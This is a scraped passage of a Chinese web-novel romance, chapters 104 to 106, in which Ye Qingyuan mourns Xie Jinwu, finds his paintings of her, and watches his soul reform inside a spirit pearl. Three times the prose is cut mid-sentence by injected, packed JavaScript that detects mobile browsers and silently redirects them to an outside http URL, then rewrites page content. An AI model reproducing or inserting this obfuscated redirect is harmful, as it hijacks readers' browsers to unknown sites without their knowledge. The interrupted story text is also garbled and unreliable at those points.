他痛苦地喊叫道:“凭什么?!他们的命是命,阿娘的命就不是命吗?凭什么阿娘要代替别人承受痛苦?” “阿娘明明没有生病的,她上个月还去山里采了好多蘑菇给我炖小鸡吃。我不甘心!我不服!我要他们死,千刀万剐而死,天打雷劈而死!” 像是在回应他的愤怒,远处天幕忽地闪过一道刺目电光,堆叠的云层中酝酿着一声又一声的雷声轰鸣。 小小的年纪,愤怒地谩骂。两句诅咒,已经是他懂得的最恶毒的言语。 然而任何言语,在渡真的势力面前,都不过是蚍蜉撼树。 谢拱辰抬手摸了摸他的头顶,徒然一声叹息。 他蹲下.身,抬袖擦干了李小满脸上的泪水,温声道:“你若想报仇,就想办法去渡真。然后耐心等,一直等。” “只要你不放弃,就一定会等到报仇雪恨的那一天。” 风雪道上,云山一动不动,灵息枯竭。 “我终于等到今天了。” 李小满抬起手,帮云山闭上眼睛,同时掌心聚满了灵力,助他断绝最后一丝生机。 他笑得很难看:“原来我和阿娘的存在对你而言,自始至终都是污点。所以这些年来,就算我们从不提起与你的关系,也不敢出现在你面前,你却还是不肯放过我们。” “我来到渡真以后,有很多人都嘲笑我笨,说我修为太低,这辈子都出不了头。” “可是我从来都没想过出头。”李小满狠狠闭了一下眼。 “我只是想给阿娘报仇。” 104. 启 “叶姑娘,在下只能送到这里了。前方山道过了那座灯之后就是结界,除了姑娘以外无人可靠近。” 寒冬凛冽,滴水成冰。 李秋暝站在一株光秃秃的桐花树下,脸上带笑,神情恭敬地对叶清圆做了个“请”的手势。 登山道很累,叶清圆体力不支,走一段就要停下来歇息片刻。 听李庄主说,这处山居是早在四个月前,谢尽芜就委托他派人修缮的。谢尽芜绘好了详细图纸,随后直接吩咐李秋暝从他的户头划走一大笔钱。李秋暝收了资财,自然喜不自胜地按照他的规划将山居修建得漂亮又舒适。 叶清圆算了算时间,四个月前他们还在金璧城。 谢尽芜那时对她的好感值还不高,根本谈不上与她长久相守。他的想法没有那么美好纯真,甚至有些恶劣。这山馆就是专门为叶清圆精心制作的一座金丝笼,将她牢牢地困锁在其中,教她此生都逃脱不得。 想到此处,叶清圆召唤了系统,疑惑道:“既然这里有结界,我岂不是没有办法再出去?” 系统检测了一番:“请宿主放心,该结界只起到保护作用。” 系统静默,随即又检测到什么:“该结界在半个月前曾改动过,角色【谢尽芜】已经将这道结界的优先保护对象设成了宿主。” 因为谢尽芜曾遭受过流光山馆的那场烈火,所以心中总是放不下,他担忧惶惑、惴惴不安,爱得失去了理智。他想尽办法在叶清圆的周遭筑起牢不可破的城墙,唯恐她受到一星半点儿的伤害。 她终于安全了,可是他又去哪儿了? 系统也察觉到她哀戚伤感的情绪,也沉默下来。 冽雪山谷一事之后,它也多次劝慰叶清圆挑选别的小世界,去过舒适逍遥的好日子,免得总在这里触景生情、平白伤感,可是叶清圆却不肯。 她放弃系统的任务奖励,放弃烂漫坦途,一步一步地走进了谢尽芜为她准备的“牢笼”之中。 谢尽芜已经死了,他早已消失在这个世界。可她为何要执着成这个样子? 系统忍不住提示道:“宿主,你还有挑选其他小世界的机会,不必非要将自己局限在这处无事山居。” 道旁青竹篁篁,一阵山风吹来,抖落细雪如盐。 叶清圆的视线落在那些高低错落的竹枝上,依稀回想起在金璧城时他们第一次牵手,也是在这样幽翠浓郁的竹林中。 她心如擂鼓,又故作轻松。 他满腔欢喜,却欲盖弥彰。 道旁设了灯座,镌刻了漂亮的莲叶纹。 叶清圆的指尖抚摸着那些流丽的线条,好久后,才轻笑一声,淡道:“你讲话比以前有感情多了。” 系统的声音也闷闷的:“系统与宿主相识已久,系统不想看到宿主难过。” “你既有这种想法,也就该理解我的执着了。”叶清圆垂睫道,“我只有待在无事山居,才是最开心的。” 是他亲手设计的山居。他虽从未在此居住过,甚至也不曾有机会亲自来看一眼成果。可当她的指腹压住那些莲叶纹的时候,却仿佛能透过线条触摸到他持笔勾勒的手,就好像他还在,她也觉得很是心满意足。 系统很难理解人类的情感,此刻却也觉得没来由的一阵难过,叹息着消失了。 山道上又恢复一片寂静,叶清圆坐了一阵,眸光眷恋柔和地看着道旁的灯柱。那上面勾勒的莲叶形状各有不同,却样样灵动可爱,他究竟是费了多少心思? 他总是这样,什么都做好,可是什么都不肯说。 冷风入怀,叶清圆受了凉,不禁打了个喷嚏。这才后知后觉地想起不该在这里待下去,起身拾阶而上。 - 叶清圆在无事山居住下。 冬日的阳光暖洋洋的。院子里梅花开了,清冷幽邃的香味萦绕鼻端。 梅树下有一张石桌,桌上本该摆了棋盘,可是她不会下棋,那张桌子便被冷落许久,落满了梅花瓣。 叶清圆挪到廊檐下晒太阳,她搬了竹藤摇椅,找了薄毯盖在小腹和腿部。 有时为了打发时间也看些话本,可目光总是不自控地望着那树红梅发怔。脑海中恍惚闪过寒冬时节的记忆碎片,窗外天寒地冻,她贪睡赖在被窝里不肯起床,好久后睁开眼却见谢尽芜坐在床畔,眸中含笑地望着她。 他伸手将她的被角扯开一点,漫不经心地勾唇笑:“睡得脸都红了,不觉得闷么?” 院子里的雪覆盖了厚厚的一层,她可以去堆雪人的。可是堆出来也不开心,她说过要陪他堆好多次雪人,可是他不在,她徒惹伤心,想来又没有什么意义。 浑浑噩噩地到了年关,叶清圆迟钝地想起是该置办年货了。她半个月以来第一次下山到了城镇,望着熙攘鼎沸的人群却又有些无措,她很久没有与人交流过了。 老板和摊主倒是很热情地招待她,叶清圆没有特别想要的东西,只象征性地挑了些鞭炮红灯笼和日历,还买了春卷和豆馅儿。她的口袋中其实带了银两,可却执意地跑到取舍庄取了谢尽芜户头的资财。 他不在,但是置办年货的花费两人都要出,恍惚间也有种一起过年的热闹。 叶清圆拎着大包小包的货品回返无事山居。她出门时太匆忙,忘记带围脖,冷风吹在脸上刀子似的锋利,可满心都是热腾腾的。抬眼望向天幕飞旋而下的雪絮,她的脸上久违地露出笑容。 “夫君,我们要过年啦。” 瑞雪兆丰年。 她没有买对联,只是裁好了纸,研好了墨,想要自己写两句话。不是耳熟能详的庆贺诗文,她想写点不一样的,纠结了半晌,思绪却飘到了那个莲灯汇聚成璀璨银河的千花河畔。 那时她写的什么呢? 她祝谢尽芜,“春日载阳,福履齐长。” 天色渐渐暗了下来,不远处城镇传来隐约的焰火声。叶清圆提笔悬腕,今日她没有喝醉,写出来的字却依旧很丑,像是蝎子乱爬。 “愿君千万岁,无岁不逢春。” 她将对联贴好,浅浅笑着:“你要快点回来,我们还要一起过春天。” 这是叶清圆第一次独自做年夜饭。相较于最初住进无事山居的时候,她的厨艺已经进步了许多。最开始的时候她也吃过不少苦头,不是做出来的饭菜色香味俱无,就是厨房险些炸,总之极为狼狈,可是慢慢也掌握了许多技巧。白璟和许雁含偶尔会来山上看她,三人相对而坐,语笑晏晏,极力掩饰的笑意下分明都藏着抹不去的哀戚,却也都绝口不提谢尽芜。 没人想说起这个沉重的话题,仿佛他真的已经不存在。 就像融化后的雪,化作山间的雾,林中的雨,又好像已经消失在这个世界。 夜幕降临了,缀满繁星的天幕中轰然炸开一朵明亮的金花,星火坠落,纷乱如雨。 过年了。 叶清圆将春卷从锅里捞出来,细小的油珠翻滚着。 残冷的霞光映照在她身上,不知怎地总是心绪纷乱,凝聚不起精神。 她本该将碗碟都端出去了,却不知为何脑筋抽风似的转身拿起了刀,像是要自伤似的,微凉的手指毫不收势地按在了刀锋上。 瞬间,她腕上的护身咒文倏忽亮起,将菜刀断作数截! 这把刀是她上个月新买的,还没用过几次,却被谢尽芜设下的护身咒文斩得碎裂。 叶清圆怔怔地站在那里,目光落在断掉的刀身上,耳中轰轰然的鸣响。她凝视半晌,茫然想道:没有了刀,我怎么做饭呢? 明明都要过年了啊。 她失魂落魄地蹲下身,心中忽然满是委屈,眼眶酸涩地痛起来。 平芜尽处是春山,行人更在春山外。 原来是越过山坡,也见不到他的意思吗? 决堤的泪水砸在刀背,碎成晶莹的花,一朵、两朵、三朵。 窗外漆黑的天幕中,烟花璀璨盛放。 浩大响亮的砰砰爆炸声淹没了厨房中那一点微不足道的抽泣。 叶清圆跌跪在地,恍惚像是听到了镇中百姓庆贺新年到来的欢呼笑闹,好像他们都有爱人、亲人陪伴在身边。 可唯有她孤零零地住在这里,风也萧瑟。 抽泣声逐渐失控,连日来极力压抑住的情绪终于决堤。叶清圆将脸埋在冰凉的手心,崩溃大哭。 - 二月,渡真世家与永安江氏联合发布灵书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964661|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将当年冽雪山谷之真相昭告天下,谴责渡真长老院以及江氏族中某些心狠手辣、罔顾仁义之辈。 听说渡真子弟们乱了一阵,尤其是知道冽雪山谷真相之后。 信仰崩塌,曾经憧憬敬服的修士长辈们,原来竟是一个个满手血腥的刽子手。 那他们留在渡真还有什么意义?学着去做小刽子手吗? 一时之间,众弟子闹着要退学,干脆回家种地。 顾九枝就这样静静等着事态发酵,等众人的情绪都攀至顶峰,才亲自出面,不知用何种办法,竟牢牢地稳住了这些弟子们的心。 六个时辰后,顾九枝借机将长老院的异心之人全部逐出渡真。 为何不杀?众说纷纭。 总之,这些曾经的长老们生活在顾九枝安排好的隐世山村里,活得竟还很滋润。 二月半,顾九枝将“顾雪庭”的名字剔出宗谱。 从此以后,世上再无忍辱求生的渡真弟子顾雪庭。 只有深埋在冽雪山谷的谢长生。 三月,早春料峭,叶清圆走出无事山居,渡船回了一趟初阳镇。 她好久都没有再去见过叶肃和江尚绵。此次一去,江尚绵还是那副肃穆冷情的样子,却在瞧清她的模样后,着实惊讶了一会儿。 叶清圆与她对坐在佛寺的大榕树下,眉眼含笑地说起这半年来的见闻。江尚绵对这些事没有太大兴趣,因而听得不太认真,有一搭没一搭地应着。 她端起茶杯喝茶,却是隔着氤氲的茶雾,细细打量着叶清圆这一年来的诸多变化。 脸色红润漂亮,琥珀色的眼眸中泛着柔和的光,连身形都比去年修长匀称了不少。 提起好吃的好玩的,叶清圆的脸上也流露出向往欢喜的神情,眉眼灵动而可爱。 江尚绵生活在佛寺中,整日面对着一株不会说话的大榕树,日子早已枯燥乏味得如一滩死水。此刻有叶清圆在她身旁叽叽喳喳地说笑,吵闹得像是春日枝头嬉戏的鸟儿一样,充满了生生不息的活力。 江尚绵的眼中也不由得流露出柔和笑意。 在江尚绵的印象中,叶清圆性格沉闷,霸道无礼,总欺负人。成天闲的没事就捉弄府里的仆役和丫鬟,常闹得怨声载道,不得安宁。 原来,她的女儿竟是这般讨人喜欢的性情吗? 叶清圆递过来一只锦盒,笑吟吟地牵住她的手,脆声道:“阿娘,里面是我们的一点心意。” 江尚绵看着她:“你变了许多。从前你不是这样的。” “人都是会变的。”叶清圆笑得明媚。 她不想再揪着原身的错处不放,她代替原身开启了新的生活,也会帮助原身,亲手将那些封闭灰暗的、腐烂不堪的过往翻篇。 江尚绵垂下眼睫,目光不经意地落在她露出的手腕:“你手腕的痣怎么不见了?” 叶清圆眨眨眼:“阿娘,我的手腕没有痣。” “有,我的女儿,我会不知道吗?”江尚绵语气笃定,拉过她的手仔细看了看,“这里原本有一颗红豆大的痣呢,很是显眼,不可能平白无故消失的。” 叶清圆也疑惑起来。 这难道不是那个原主叶清圆的身体,是她自己的身体? 那她刚穿越过来时,怎么还觉得浑身虚弱无力的? 江尚绵思来想去,也觉得奇怪,想不通,干脆放下不想了,随口开玩笑道:“你真的是我女儿吗?不会被掉包了吧。” 叶清圆:“……” 莫名有点心虚。 叶肃对叶清圆的不归家倒是没有任何想法,只在听她讲到已经与谢尽芜结契时,惊讶得一杯热茶泼了满手。 他呆愣地看着叶清圆,好久后才颔首,不住夸赞道:“好、好,这姑爷可是不错。怎么不早早地把他带来,我们爷俩儿喝杯酒?” 叶清圆垂下眼睫,笑意寥落:“下次吧,下次。” 她也想早些见到谢尽芜,可是谢尽芜这个混蛋,也不知去哪里重塑肉身了,就是不肯回来。 叶清圆越想越气,半夜睡不着,起身把院子里那盆兰花揪得都秃了。 她边揪边小声骂:“再不回来,我就揪你的头发!” 105. 珍藏 半个月后,叶清圆回到无事山居。 柳枝抽出嫩芽,鹅黄幼嫩却生动盎然,叶片伸展得像是一只只黄色的蝴蝶栖息在枝条上。 春寒料峭,日光却已明暖许多,她慢悠悠地沿着山道向上走,微眯起眼感受着迎面而来的暗香浮动的微风。 风是和暖温软的,拂起鬓边的一缕碎发。叶清圆扬起脸望向湛蓝澄澈的天幕,畅快地吸了口气,连肺腑都干净。 谢尽芜不在,她也不想自暴自弃。总归日子是自己过的,若是一味地颓唐下去,早早将身子作弄坏了,她自己都觉得不甘。 眼下已经四月,春天都要过去一半,谢尽芜还是没有任何消息。 取舍庄每隔半月会送来时令鲜果。山下城镇的绸缎庄和首饰铺子,也会送来时兴的新样式,供她挑选。 恰好,叶清圆月底去取舍庄看账,好奇问起,就听执事笑道:“是谢公子吩咐的。姑娘何时入住山居,便从何时开始执行。” 她的眼神微妙:“他何时吩咐的,去年夏天?” 执事拍手道:“正是啊!不瞒姑娘,我们李庄主一年里有大半时间都住在金璧城。听庄主说,当时他正在金璧城的什么什么楼听曲呢,不经意往外一瞧,哎!正巧就碰见谢公子从街上走过去,手里还捧着一纸包的板栗,也不知是买给谁吃。我们庄主将谢公子请上来,两人聊了几句,谢公子就将山居的设计稿交给了我们李庄主。” 这执事脑子灵,手也快,算盘打得噼里啪啦,话还这么密。 叶清圆心念一动,想起往事。 那天她只是趴在窗边,随口说想吃糖炒栗子——真的只是随口说,也没期待什么。 谢尽芜垂眸翻一本棋谱,理都没理她,恍若未闻。 到了傍晚,他却将一包香甜的板栗搁在她桌上,深黑的眸子直直地注视着她。 叶清圆那时一头雾水,不明白他盯着自己是想干什么。却见谢尽芜的眼神往栗子上一落,似乎是在示意她尝尝味道。 甜甜的香气从纸包里散发出来,叶清圆在他直白的眼神中,只好剥开一只栗子,送入口中嚼了嚼。 谢尽芜似乎是在很仔细地观察她的神情,轻声问:“好不好吃?” 叶清圆眨眼看他,清亮的眸中笑意点点:“很好吃,你是特意去给我买的吗?谢谢你。” 谢尽芜“嗯”了一声。 恍惚是松了一口气的样子,眼里隐约有着投喂的满足感。 他又摇头:“不是特意给你买的。” 说罢,转身就走了。 留下叶清圆一脸茫然地坐在桌前,默默地又拿了一个栗子,“咔嚓”剥开。 那时候的谢尽芜还很嘴硬,对感情尚且处于探索和试探阶段。哪像后来,他仗着叶清圆的默许和纵容,愈发直白、大胆,嘴甜得要命,也黏人得要命。 取舍庄的执事也很快反应过来,露出了然的笑容:“那包栗子,必定是给叶姑娘买的咯。” 叶清圆垂睫笑笑,指尖在账本上摩挲一瞬。 系统的奖励,加上这段时间的经营收益,她的账户中已经有了一笔令人瞠目结舌的巨额资财。 而且,这些资财无论是哪个世界都通用。 也就是说,如果有一天,她真的在这个世界玩够了,想要回家,也妥妥是个富婆。 叶清圆对此还挺满意。 她翻了一页,忽地发现了上头记着的一行小字:“这是什么?” 执事凑过来瞧了瞧:“这是谢公子在金璧城时存下的锦盒,贴了天字封条,里面必定是极为贵重的物品了。姑娘要取?” “金璧城?” 又是金璧城。 “取出来我看看。” 锦盒从金璧城送过来,花费了将近半个月的时间。 半个月后,叶清圆抱着锦盒回到无事山居。 打开一看,里面竟是堆满了厚厚的一沓纸。 叶清圆的呼吸放轻,睁大了双眼。 三十多张宣纸,绰约的水墨画,全部都是她的像。 有她在窗边的桌上垂头画符,有她折了柳枝编花环,还有她撑着伞在青街买莲子吃。 街巷寂然,花木隐约。而她穿着漂亮的纱裙,鹅黄、水蓝、桃粉,是这些水墨画中唯一的一抹亮色。 线条柔和,笔触细腻,无一例外,全都是她。 叶清圆一张一张地看,越看越觉得眼眶酸涩。 她自己都记不清这些细节了,可谢尽芜却观察得如此细致,连她画符时习惯性地蹙眉,都画得十分细致。 翻到最后一张,是那天的千花灯会。 行人熙攘,灯烧如昼。河畔的柳树小道上,谢尽芜端抱着她,像是抱孩子一样,缓步朝河面小船走去。而她的脸颊埋在他的颈窝,手臂环住他的肩,醉得彻底。 这是唯一一张双人像。 灯火、小船、莲叶也画得生动,显然下笔之人费了许多心思。 叶清圆闭上眼,睫尾颤颤,将酸涩之意压下去。再睁眼时,眸子里就唯有一层水光。 她轻笑着将画收好,准备找个时间把这一幅装裱起来。 木盒里还有些杂七杂八的小玩意。叶清圆大概翻了翻,越看越觉得眼熟。 这些好像都是她的东西? 她画废的符纸,断开的小巧发饰,随手丢掉的栀子花瓣。 竟然还有那条她戴了很久的、略微勾丝的发带。 都被他小心翼翼地珍藏在此。 他担心花瓣会枯萎,便制成了书签,和那些符纸一起,夹在她无意落在客栈的话本里头。 叶清圆心中的感动之意消散了许多,看得耳尖都红了。 究竟为什么要将这些东西珍藏起来? 那取舍庄的执事说,这种贴了天字的锦盒里存贮的物件无一不是价值连城。而谢尽芜存进去的,却全都是她不要的东西,甚至加起来都凑不够一碗茶水钱。 谢尽芜这人……其实是个隐藏的变态吧! 她将盒子合上,捂住自己微红的脸颊,有泪水从指缝里滑落。 算了,至少他表面上还是会装一下。 这些小物件,他喜欢就让他放着吧。 他这么可爱,有些小癖好,也没什么不可以。 叶清圆长叹一口气,俯身趴在木盒,声音哽咽,却轻笑:“笨蛋。” 有时候太过想念,她就摆弄起曾经的那只八音盒,念道:“小谢小谢,请唱歌给我听。” 话甫落,一阵柔缓温和的音乐流淌。八音盒内春花摇曳,明媚的光点跳跃在山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969295|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坡上的少年少女身上。 这所谓的“咒语”,当初不过是她为了好玩才想的。 可如今谢尽芜不在,这生辰礼物由她保存,竟真的一语成谶,是“小谢”唱歌给她听了。 叶清圆在廊下坐了一会儿,快到晌午的时候,她收到了许雁含寄来的一封信。 信纸是很厚的一沓,简直像本书,也不知许雁含写了多久。 信里讲了许多她与白璟游历捉妖的趣事,语言诙谐,措辞精准,很平常的一件事在她的笔下都是那样有趣。 许雁含说,这半年来的经历,让她明白了许多事情,也有了志向。 她希望有朝一日能荡平世上的妖邪。自此,世间万事太平,花树缤纷,青街安宁。百姓们不会再遭受凶煞的侵扰,每个人在夜里都能有一场好梦。 叶清圆读了一会儿,心头平静却欢喜,因为知道许雁含过上了理想中的生活。 她本就聪明又勇敢,不管到了哪里,都会生活得很好。 许雁含在信里写了许多捉妖除祟的经历。日子过去,她见识许多,也学会很多,看得出来,她对自己当下的生活很是满意。 只是唯有一点许雁含很是愁闷,白璟的废话太多,总是吵得她脑袋嗡嗡的。她颇为苦恼地问叶清圆,是否有种特殊的符咒,可以叫人闭嘴呢? 叶清圆垂眸念着那行字,恍惚真的看见这两人吵闹又欢笑的模样。 信的最后一句是白璟写的,他也跟许雁含学着叫“清圆姐姐”。 “清圆姐姐,可不要听雁含乱讲哦,她分明很喜欢听我讲话的。” 叶清圆用了半个时辰才将信都读完,信纸的最后,还画了一个大大的笑脸,旁边附了小字:“五月的时候我们一起去看你!” 叶清圆笑着将信放好。 她关心的人都过上了幸福的生活。 谢尽芜也会很快回来吗? 暮色涌了上来,微风染了冷意。她轻咳着挪进屋里,倒了一杯热茶暖暖身子。 垂眸搁下茶杯的瞬间,余光却仿佛瞧见有细微的亮光闪过。 叶清圆心生好奇,是她颈间佩戴的白玉栀子,不知何时竟散发出星河一般的璀璨光芒。 有一道澄蓝色的灵气,正缓慢地在星河中流淌着。 而在星河的正中,却是殷红的一滴血。 她蓦地想到了什么,连忙将白玉摘下来捧在手心,焦急唤道:“系统,系统,快给我说清楚这是怎么回事?” 系统很谨慎地探查了片刻,斟酌道:“这里头的灵气是谢尽芜的,这一滴血也是他的。” “他要回来了是吗?”她的气息颤抖起来。 “没有这么快。蕴灵珠嘛,要想让一个人死而复生,总是需要花费些时间的。” 系统顿了一下,似乎在查阅资料,道:“现在里面只有一道灵气与一滴精血,只是显形就费了将近半年的时间呢。宿主请耐心等待吧,这个过程初期会很慢,一旦化作人形,蕴灵的速度就会加快了。” 像是在漫无边际的风雪之中绝望独行许久,终于窥见一点明暖的亮光。叶清圆跌坐在地,捧住蕴灵珠用力地捂在心口,滚烫的泪水夺眶而出。 她颤声道:“……好,我等的。” 无论多久我都等的。 106. 小世界1 枝梢鸟鸣啾啾,满树苍翠绿郁的树叶随微风摆动着。 时值初夏,天气已经闷热了许多。幸好这无事山居的周遭栽满了树,冠盖如云,可以遮挡住大部分阳光,树梢还有凉风习习而过。叶清圆午后小憩的地点转移到了桐花树下的摇椅中,她将团扇盖在脸上,隐约可见树影斑驳,暗香浮动,却也舒适得很。 这年夏天,叶清圆饭后遛弯时,在草丛中救回了一只受伤的小猫。 是只橘猫,约莫有巴掌大小,瑟缩可怜得歪倒在草地,脏兮兮的仅剩一口气。 叶清圆很心疼地将它抱回了山居,上药包扎又喂食,谨慎又紧张地照顾了半个多月,小橘猫才颤颤巍巍地站了起来,脑袋一个劲儿地往她手心里拱。 她就这么将小猫养下来,又给它制作了个柔软的小窝,就放在院里那棵繁茂的橘子树下。 闲暇时,叶清圆也会自己学着种花,山居里的围篱旁摆满了盆栽,兰花茉莉栀子杜鹃样样都有。 她去山下城镇里买了盆栽小柿子,结出来的果实像是挂着一个个漂亮的小灯笼。 谢尽芜也懂得莳花弄草。这种相同的生活习惯好像可以让他们又靠近一点,叶清圆最初只是抱着这样简单的想法。 可久而久之,她也从中觉出了许多乐趣。填土施肥、修剪枝叶的时候便很少再念起他。她站在阳光明媚的院子里,望着满院的灼灼繁花,只有满心的成就感。 手指抚摸着翠绿油润的叶片,她时常感到得意:“嘿嘿,我也挺厉害的嘛。” 其实不是不想他。 只是全身心地投入另外一件事时,她终于可以短暂地、不再那么痛苦地过下去。 叶清圆连日历都不愿意再看,只望不到尽头似的等啊等。终于在盛夏的时候,等到了系统的提示音。 ——“恭喜宿主,蕴灵珠中的灵气已然化形。” “啪!”的一声脆响,叶清圆手中端着的瓷盏砰然坠地,溅了满地细小的碎片。 她压根顾不得被茶水泼湿的裙摆,满心惴惴地跑回屋里,扑在那只被她安放在柔滑绸缎上的蕴灵珠。 系统详尽解释道:“蕴灵珠中会幻化出许多光怪陆离的小世界,此刻谢尽芜就在其中一个小世界里,滋养魂魄。” 叶清圆眸光温柔地看着蕴灵珠里的那道璀璨星河,此刻分明还什么都看不到,可她却欢喜得连眼睛都舍不得眨了。 “我可以看一看他吗?既然是幻化出的境界,那么我也是可以进去的吧?” “他现在是个小孩,有什么好看?” “没关系,”叶清圆笑中带泪地摇摇头,“只要是他就好了。” 系统无法拒绝她的请求,思虑一瞬后,终于是将翻阅出来的资料都调给她看,又强调道:“在蕴灵珠的世界里,谢尽芜是完全察觉不到宿主的存在的,而且宿主的出现也不会对小世界造成任何影响。” 总而言之,叶清圆若是想要进去,恐怕存在感还不如一缕微风。 不过无论如何,这都是个好的开始。 她很开心地点头:“好,我都记住了。” - 天幕湛蓝澄澈,溪水撞在圆润平滑的石头上,叮咚跳跃,溅起万点光芒。 七岁的谢尽芜坐在溪边的一块大石上,旁边搁着一只竹篮。他将两只手都探进清凉的溪水里,沉默地洗着胡萝卜。 他穿一身素简衣裳,衣裳像是给大孩子穿的,根本就不合他的身,裤腿和袖口都得挽起来才不至于拖曳在地,穿上的效果还不如套只麻袋。他满头柔软的发胡乱挽成个小髻,碎发落下来都扫在了眼尾,他也不在意,仿佛是生来就欠缺关怀的模样,乱糟糟地能活下来就是最大的愿望。 他那张小脸被碎发遮了一半,看不清模样,唯有露出来的两截手腕却是皙白瘦弱的,仿佛没怎么吃过饭似的营养不良。 这是一个神奇的小世界。叶清圆在溪边站着观察了一会儿,惊讶地发现自己竟然能听到谢尽芜手里的胡萝卜在哀嚎。 “不要拽我呀!” “喂!很痛的!” “我的头发都要被你扯掉了!啊啊啊啊!” 万物有灵,此时在叶清圆的眼中,竹篮里便是坐着好多橘红色的小灵球。 溪水边,也有许多各色的小山灵们或站或坐,好奇地“看”向谢尽芜。 这些山灵们的灵体很是圆润,阳光下是透明的,仅能瞧出轮廓。有灵力充沛的,勉强修出了短短的胳膊腿儿。 此时就有一只小山灵坐在谢尽芜的肩膀上,好悠然自在地翘起了二郎腿。 谢尽芜将胡萝卜叶子一把拽掉,丢垃圾一样丢在旁边。 “我的头发!我的头发!!啊!你这个狠心无情的人,我永远都不会原谅你的!!” 谢尽芜抿着唇,像是要跟谁置气似的,低声道:“最讨厌胡萝卜了!” 竹篮子里的胡萝卜们一瞬安静。 过了一会儿,又试探着道:“这孩子是不是又被老板娘骂了?” “是啊,他把老板娘好不容易钓上来的一篓子鳜鱼都给放生了。” “……” “老板想要开口劝一劝的,结果还没张嘴,两个人都被老板娘骂了一顿狠的。” “……” 叶清圆听得忍不住笑。 这些小世界的设置参照了谢尽芜的部分真实经历,再经过蕴灵珠的加工、润色,才有了她现在看到的种种场景。 比如在这一个小世界里,青松和阿楚合伙开了一家小饭馆,收留着父母双亡的谢尽芜。 他们住在溪边,日子平静而悠长。青松沉默寡言而可靠,阿楚却还是那个暴脾气,饭馆里每天除了哐哐的炒菜声便是阿楚和难缠客人的干仗声。 有时青松想息事宁人,也琢磨着还是得劝一劝,可他常常是还没来得及张口,阿楚已经伸出手指,颇有气势地命令道:“闭嘴,退下。” 他从不和阿楚吵,因此每次也都沉默地退避到厨房。 久而久之,周遭的百姓都知道这家饭馆里有个脾气堪比火药的老板娘,专治十里八乡出了名的地痞无赖,一治一个准儿。 干仗归干仗,这家饭馆的生意却很是火爆。 午后,阿楚摘下围裙,坐在满室阳光里开始数钱。她数钱都不肯安静,分出心思看着谢尽芜那瘦长的胳膊腿,愁眉不展道:“也没少吃少穿,怎么不见你长肉呢?” 青松在旁边弯着腰拖地,低声道:“长个子的年纪,再吃也长不了多少肉的。” “这件衣服根本就不合身,比麻袋还肥呢,别穿了。”阿楚道,“成天打扮得像是个小叫花子,不知道的还以为老娘虐待你呢。” 谢尽芜坐在板凳上,低头玩自己的手指,小声道:“阿娘准备的。” 好几只小山灵们挨在他的身边,蹦蹦跳跳地跟着念:“阿娘准备的!阿娘准备的!!” 阿楚打着算盘的手指一顿,轻声哼道:“这衣裳要等过两年穿才合适的。不过你要是实在喜欢,就穿着吧。” 谢尽芜很欢喜地点头。 小山灵们也高举双手:“好耶好耶!” 阿楚终于算完了账,将账本合上,笑了一声:“今晚吃胡萝卜。” 橘红色的小山灵们大惊失色,吱哇乱叫着一溜烟跑走了。 “……哦。”谢尽芜的小脸又垮了下来。 这个世界里并没有那些家族覆灭的仇恨,他最大的苦恼就只是今晚又要吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975347|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡萝卜。 叶清圆站在窗外静静地听了一会儿,觉得这样倒也不错。 她不奢求谢尽芜能在这种小世界里过得多么幸福快乐,只求他不要像现实世界那样遭逢灭族巨变就好了。 痛苦少一点,再少一点,谢尽芜不要伤心难过,她就已经心满意足。 系统的提示音再度响起,是在催促叶清圆快些回去。 她每天能进入小世界的时间最多只有半个时辰,时限将至,她必须立刻返回到无事山居里,否则可能会对谢尽芜造成难以预计的影响。 叶清圆最后看了一眼溪水边的那道小小身影,颔首道:“好,我这就离开。” 话音落下,头顶明媚的阳光迅速变得黯淡许多,周遭景象宛如被攥紧的纸张,扭曲碎裂成无数细小的片段。 小世界消失了。 - 无事山居外有一方莲池,池水清澈而柔凉。 此时是盛夏,日头毒辣。幸好池畔绿树繁茂葱郁,树冠将头顶灼热的阳光都遮挡了大半。叶清圆站在树影下,枝叶缝隙漏下的斑驳光点跳跃在她身上,明亮却不灼人,起风时甚至还有些微的凉意。 水面有新生的莲叶,翠绿稚嫩的尚且没能完全舒展,三三两两的锦鲤栖息在叶片下,偶尔摆动着肥胖的身子转个弯,便溅起一串池水。 她走近莲池,抬手往池水里撒了一把鱼食,很快就有成群的锦鲤摇头摆尾地游过来。 叶清圆不由得腹诽:这群鱼活得简直越来越像那只橘猫,整日悠闲自在什么也不干,就单等着吃,都快成猪了。 